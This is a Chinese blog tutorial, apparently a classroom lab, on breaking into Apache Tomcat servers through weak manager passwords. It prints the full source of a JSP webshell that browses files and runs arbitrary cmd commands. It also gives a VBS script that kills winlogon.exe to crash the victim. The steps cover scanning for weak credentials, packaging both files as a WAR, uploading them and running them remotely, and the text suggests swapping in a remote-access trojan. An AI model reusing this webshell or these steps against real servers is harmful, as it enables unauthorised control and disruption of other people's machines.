网站首页 > 知识剖析 正文
欢迎搜索公众号:白帽子左一
每天分享更多黑客技能,工具及体系化视频教程(免费领)
说在前面
早期Tomcat服务器上的管理员后台的密码都过于简单如“admin”,“123456”、如此很容易被攻击者利用,并上传木马到服务器上面、从而感染服务器主机。
实验内容
1、在XP系统上搭建Tomcat服务器平台;
2、在另一台虚拟机上利用弱口令漏洞上传木马程序,使得XP系统中木马。
实验步骤
一、搭建Tomcat服务器平台
1.安装JAVAJDK
环境变量的配置:(这里我的JAVA是按照默认安装地址安装的)
JAVA_HOME:C:\Program Files\Java\jdk1.7.0_79
Path:%JAVA_HOME%\bin
CLASSPATH:.%JAVA_HOME%\lib\dt.jar;%JAVA_HOME%\lib\tool.jar
输入:javac,检查环境变量配置是否成功。
2.安装Apache-Tomcat服务器
将压缩包解压,把整个文件夹拷贝至C盘。(免安装)
添加环境变量:
TOMCAT_HOME:C:\apache-tomcat-6.0.37
进入bin目录,点击startup.bat或者shutdown.bat可以启动或关闭服务器。
若测试不成功,则需添加完整的环境变量。(可选不是必选)
点击startup.exe,启动服务器,在浏览器中输入:http://127.0.0.1:8080/,
若显示如下界面,则服务器启动成功。
二、登录管理员后台
登录管理员后台需要用户名密码,刚开始未设置,我们要自行设置。
首先查看存放用户名密码的文件:在conf文件夹下的tomcat-users.xml,用记事本打开。
将管理员账号添加进去:
<role rolename="manager-gui"/>
<role rolename="manager-script"/>
<role rolename="manager-jmx"/>
<role rolename="manager-status"/>
<user username="admin" password="admin" roles="manager-gui,manager-script,manager-jmx,manager-status"/>
其中各个rolename的含义:
点击保存后重启服务器,回到登录界面,输入用户名密码,即可进入管理员界面:
三、木马制作
Tomcat只支持war的后缀文件包的上传,因此,必须将jsp木马程序与其他木马一起打包成war包才能上传。
在安装有JDK的操作系统上,将所需要上传的木马放在同一个文件夹中,存放到C盘。
这里用到一个s.jsp的木马程序以及V.vbs病毒程序。
这里s.jsp的代码:
<%@ page contentType="text/html;charset=gb2312"%><%[url=home.php?mod=space&uid=157936]@Page[/url] import="java.io.*" %><%@page import="java.util.*"%><style>td,select,input,body{font-size:9pt;}A { TEXT-DECORATION: none }</style><title>Jsp File Manger Version0.5 --bY 慈勤强 [email]cqq1978@Gmail.com[/email]</title><%!String getDrivers()/**Windows系统上取得可用的所有逻辑盘**/{StringBuffer sb=new StringBuffer("驱动器 : ");File roots[]=File.listRoots();for(int i=0;i<roots.length;i++){sb.append("<a href='?path="+roots[i]+"'>");sb.append(roots[i]+"</a> ");}return sb.toString();}%><%String strThisFile="folder.jsp";request.setCharacterEncoding("gb2312");String strDir = request.getParameter("path"); if(strDir==null||strDir.length()<1){strDir = "c:\\";}StringBuffer sb=new StringBuffer("");StringBuffer sbFile=new StringBuffer("");try{out.println("<table border=1 width='100%' bgcolor='#F1f1f1'><tr><td width='30%'>当前目录:<b>"+strDir+"</b></td><td>" + getDrivers() + "</td></tr></table><br>\r\n");File objFile = new File(strDir);File list[] = objFile.listFiles();if(objFile.getAbsolutePath().length()>3){sb.append("<tr><td > </td><td><a href='?path="+objFile.getParentFile().getAbsolutePath()+"'>");sb.append("上级目录</a><br>- - - - - - - - - - - </td></tr>\r\n");}for(int i=0;i<list.length;i++){if(list[i].isDirectory()){sb.append("<tr><td > </td><td>");sb.append("<a href='?path="+list[i].getAbsolutePath()+"'>"+list[i].getName()+"</a>");sb.append("</td></tr>");//sb.append("</td></tr></table>\r\n");}else{String strLen="";String strDT="";long lFile=0;lFile=list[i].length(); if(lFile>1000000){lFile=lFile/1000000;strLen="" + lFile + " M";}else if(lFile>1000){lFile=lFile/1000;strLen="" + lFile + " K";}else{strLen="" + lFile + " Byte";}Date dt=new Date(list[i].lastModified());strDT=dt.toLocaleString();sbFile.append("<tr><td>");sbFile.append(""+list[i].getName());sbFile.append("</td><td>");sbFile.append(""+strLen);sbFile.append("</td><td>");sbFile.append(""+strDT);sbFile.append("</td><td>");sbFile.append("<!--修改 删除 下载 复制--> ");sbFile.append("</td></tr>\r\n");//sbFile.append("</td></tr></table>");} }//out.println(sb.toString()+sbFile.toString());}catch(Exception e){out.println("<font color=red>操作失败:"+e.toString()+"</font>");}%> <table width="100%" border="1" cellspacing="0" cellpadding="5" bordercolorlight="#000000" bordercolordark="#FFFFFF"> <tr><td width="25%" align="center" valign="top"><table width="98%" border="0" cellspacing="0" cellpadding="3"> <%=sb%></tr></table></td><td width="81%" align="center" valign="top"><table width="98%" border="1" cellspacing="1" cellpadding="4" bordercolorlight="#cccccc" bordercolordark="#FFFFFF"><tr bgcolor="#E7e7e6"><td width="26%">文件名称</td><td width="19%" align="center">文件大小</td><td width="29%" align="center">修改时间</td><td width="26%" align="center">文件操作</td></tr><%=sbFile%><!-- <tr align="center"><td colspan="4"><br>总计文件个数:<font color="#FF0000">30</font> ,大小:<font color="#FF0000">664.9</font>KB </td></tr>--></table></td></tr></table> <%String strCmd="";String line="";StringBuffer sbCmd=new StringBuffer("");strCmd = request.getParameter("cmd");if(strCmd!=null){try{//out.println(strCmd);Process p=Runtime.getRuntime().exec("cmd /c "+strCmd);BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));while((line=br.readLine())!=null){sbCmd.append(line+"\r\n");}}catch(Exception e){System.out.println(e.toString());}} %><form name="cmd" action="" method="post"><input type="text" name="cmd" value="<%=strCmd%>" size=50><input type=submit name=submit value="执行"></form><%if(sbCmd!=null && sbCmd.toString().trim().equals("")==false){%><TEXTAREA NAME="cqq" ROWS="20" COLS="100%"><%=sbCmd.toString()%></TEXTAREA><%}%>
这里V.vbs的代码:
if MsgBox("你是在上网络信息安全的课吗?",vbYesNo,"提示")=vbyes thenmsgbox "你真是在上网络安全课啊,这么好丫!"elsemsgbox "还不承认? 作为惩罚,折腾你一下",64,"严重警告!!!!!!"Set ws = CreateObject("Wscript.Shell")wscript.sleep 1200ws.run "cmd /c start /min ntsd -c q -pn winlogon.exe 1>nul 2>nul",vbhideend if
运行cmd,使用cd命令将目录切换到刚刚存放的c文件夹下:
使用命令将木马程序打包:
jar cvf shell.war *
若提示jar不是内部命令,请回到JDK安装步骤查看环境变量是否配置正确。
成功时的命令提示如下:
四、漏洞入侵
访问目标网站
使用另一台电脑输入以下网址:
http://192.168.41.131:8080/(对应IP地址要改)
访问成功将出现以下界面:
弱口令扫描
打开Apache Tomcat crack软件,界面如下:
设置扫描网段,点击add按钮添加;
点击start按钮开始扫描。
扫描成功将获得口令和密码。
上传木马
利用前面扫描到的口令密码登录管理员网页,将之前做好的war包上传至服务器:
查看木马
在地址栏中输入网址:
http://192.168.41.131:8080/shell/s.jsp
即可看到对方电脑中所有的文件目录:
运行木马
找出之前一并上传的木马文件V.vbs,利用下面的执行功能让其在被害者电脑上运行:
c:\apache-tomcat-6.0.37\webapps\shell\V.vbs -install
此时在被攻击者电脑上会自运行病毒程序,即中病毒了。
也可将病毒用灰鸽子木马替换实现远程控制。
shang'c
点击“否”的话要小心哦,因为电脑会变成“蓝屏”,不过不用怕,其实就蓝屏一会儿就帮你重启啦~
不相信可以返回去看V.vbs的代码哦~
作者:Johnson666
转载自:http://r6e.cn/m3w56
猜你喜欢
- 2024-11-25 10、Django 新建ipa(通讯录)项目
- 2024-11-25 Vue组件传参:Vue父组件向子组件传参
- 2024-11-25 第5天 | 16天搞定前端,html布局,表格和大块头
- 2024-11-25 如何应用“XML+XSLT”技术分离Web表示层数据和样式
- 2024-11-25 web前端ajax笔记之一
- 2024-11-25 vue3 新特性 computed、watch、watchEffect 看完就会
- 2024-11-25 巧用SqlServer数据库实现邮件自动发送功能
- 2024-11-25 「案例演练」测试器与模板继承
- 2024-11-25 Vue的框架(了解)
- 2024-11-25 web开发之-前端html(3)
- 最近发表
- 标签列表
-
- xml (46)
- css animation (57)
- array_slice (60)
- htmlspecialchars (54)
- position: absolute (54)
- datediff函数 (47)
- array_pop (49)
- jsmap (52)
- toggleclass (43)
- console.time (63)
- .sql (41)
- ahref (40)
- js json.parse (59)
- html复选框 (60)
- css 透明 (44)
- css 颜色 (47)
- php replace (41)
- css nth-child (48)
- min-height (40)
- xml schema (44)
- css 最后一个元素 (46)
- location.origin (44)
- table border (49)
- html tr (40)
- video controls (49)